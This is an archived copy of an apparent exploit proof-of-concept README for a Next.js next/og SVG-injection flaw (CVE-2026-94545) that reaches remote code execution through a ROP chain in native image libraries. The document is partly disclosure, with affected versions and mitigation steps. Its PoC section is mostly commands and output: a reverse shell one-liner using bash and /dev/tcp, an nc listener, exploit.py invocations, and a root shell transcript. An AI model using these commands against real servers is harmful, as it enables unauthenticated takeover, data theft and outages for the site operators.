---
id: 8860
canonical_url: "https://phying.com/item/8860"
title: "Next.js next/og SVG Injection to Native RCE Exploit PoC (CVE-2026-94545)"
type: "vulnerability"
cve: "CVE-2026-94545"
cvss: 9.5
severity: "critical"
vendor: "Vercel"
product: "Next.js"
affected_versions: "16.2.0 – 16.3.5 (Node runtime, sharp present), Satori >=0.0.27 <0.33.5"
source_domain: "github.com"
source_url: "https://github.com/EQSTLab/CVE-2026-94545"
published_at: "2026-09-29T07:52:23Z"
snapshot_at: "2026-10-26T05:55:00Z"
archived_by: "Phying News (https://phying.com/item/8860)"
lang: "en"
---

# Next.js next/og SVG Injection to Native RCE Exploit PoC (CVE-2026-94545)

*Published by EQSTLab · Source: [github.com/EQSTLab/CVE-2026-94545](https://github.com/EQSTLab/CVE-2026-94545)*

# Overview

> `next/og` builds Open Graph images by rendering JSX to an SVG with Satori and then rasterizing that SVG. Satori writes user-supplied text into the SVG without escaping it (CWE-116), so a request can close the surrounding element and inject its own SVG markup. When the route runs on the Node.js runtime with `sharp` installed, that SVG is rasterized by native libraries (`libvips`, `librsvg`, `libxml2`) rather than the sandboxed wasm renderer.
>
> A payload built from an XInclude reference and nested DTD entities corrupts memory inside that native parser. The official Node.js binary is non-PIE, so its code and GOT are not randomized and a fixed ROP chain reaches `execve` without an address leak. One unauthenticated request to an OG-image route is enough to run commands as the server process.

# Affected Versions

| Category | Version |
| :--- | :--- |
| **Vulnerable** | Next.js 16.2.0 – 16.3.5 (Node runtime, `sharp` present), Satori >=0.0.27 <0.33.5 |
| **Patched** | Next.js 16.3.6 / Satori 0.33.5 or later |

> Only the Node.js runtime path is affected. With `export const runtime = 'edge'`, or an install without `sharp`, the image is drawn by the sandboxed `resvg`-wasm renderer and the bug does not lead to code execution.

# Impact

- **Unauthenticated code execution** as the Next.js server process. Any route that passes request data into `ImageResponse` is a sink.
- **The exploit is blind.** A successful `execve` replaces the worker, so the HTTP request simply closes and the result has to come back another way, such as a reverse shell or a command that phones home.
- **The payload is stable.** Because the Node binary is non-PIE, the gadget addresses are the same on every host and reboot for a given Node build, so no per-target leak or bruteforce is needed.
- **A successful hit crashes the worker.** The node process is replaced by the injected command, so the server stops responding until it is restarted.

# Environment

A minimal Next.js app that reproduces the vulnerable configuration. The route at `/api/og` renders an `ImageResponse` on the Node runtime, and `sharp` is installed so the native rasterizer is used. The image pins the exact stack the ROP chain depends on (Node 24.20.0 non-PIE, Next 16.3.5, sharp 0.35.4 with libvips 8.18.6, librsvg 2.62.91, libxml2 2.15.3). The first build pulls Node, installs npm dependencies, and runs `next build`, which takes a few minutes.

```bash
docker build -t cve-2026-94545 .
docker run -d --name cve-2026-94545 -p 3000:3000 cve-2026-94545

# sanity check: a benign render returns 200
curl -s -o /dev/null -w "%{http_code}\n" "http://127.0.0.1:3000/api/og?value=hello"
```

| Precondition | State in this lab |
| :--- | :--- |
| Next.js 16.2.0 – 16.3.5 on the Node runtime | Next 16.3.5, `runtime = 'nodejs'` |
| `sharp` installed, so the native librsvg/libxml2 path is used | sharp 0.35.4, libvips 8.18.6, rsvg 2.62.91, xml2 2.15.3 |
| Non-PIE Node binary for a stable ROP base | official Node v24.20.0 linux-x64 (SHA-verified) |
| OG-image route reachable without auth | `GET` and `POST /api/og`, request text goes into an SVG `<title>` |
| Outbound path available for a reverse shell | `bash` and `/dev/tcp` are present |

# PoC

The vulnerable route is `POST /api/og`. It takes the request body and places it in an SVG `<title>` before rasterizing. `exploit.py` builds that SVG for a chosen command, encodes the ROP chain into a `<path>`, and sends it to the route.

The simplest run opens a reverse shell. Give it the target and a listener address; it starts `nc` for you, fires the request, and hands you the shell.

```bash
python3 exploit.py --target 172.17.0.3:3000 --lhost 172.17.0.4:4444
```

The payload is calibrated to the stack listed in Environment, so run it against this image or a host with the same Node and sharp build. A hit replaces the node process with your command, which means the HTTP request closes and the service stops answering until the container is restarted.

```text
[*] Command: bash -c 'bash -i>&/dev/tcp/172.17.0.4/4444 0>&1' (49 bytes)
[*] payload bytes=24693 sha256=...
[*] Listener: nc -lvnp 4444
[*] POST http://172.17.0.3:3000/api/og (24693 bytes)
[*] Target closed connection (expected)
connect to [172.17.0.4] from (UNKNOWN) [172.17.0.3] 43118
id
uid=0(root) gid=0(root) groups=0(root)
uname -a
Linux 6e2b1c4a7f9d 5.15.0 #1 SMP x86_64 GNU/Linux
```

The reverse shell runs as the server process, which confirms code execution from a single unauthenticated request. To run one command without a listener, pass it directly; note that the output does not return over HTTP, so the command has to send anything you want to see out of band.

```bash
# single command, no listener
python3 exploit.py --target 172.17.0.3:3000 --command "id"

# only build the payload, then send it yourself
python3 exploit.py --target 172.17.0.3:3000 --command "id" --output payload.bin
curl --data-binary @payload.bin -H "Content-Type: text/plain" http://172.17.0.3:3000/api/og
```

# Mitigation

- Upgrade to Next.js 16.3.6 / Satori 0.33.5 or later, which escapes SVG text when it is serialized and closes the injection.
- If you cannot upgrade yet, move `next/og` routes to `export const runtime = 'edge'` so the sandboxed wasm renderer is used, or remove `sharp` so the native path is not reached, and keep unsanitized user input out of `ImageResponse` children.
- Put OG-image routes behind authentication or an allowlist, and restrict the server's outbound traffic to make blind exfil harder.
- After patching, treat an internet-reachable instance as compromised: rotate any secrets the app process could read and check for persistence.

---
> 📦 **Full-Text Markdown Snapshot** archived by [Phying News](https://phying.com/item/8860) · Original source: [github.com](https://github.com/EQSTLab/CVE-2026-94545)
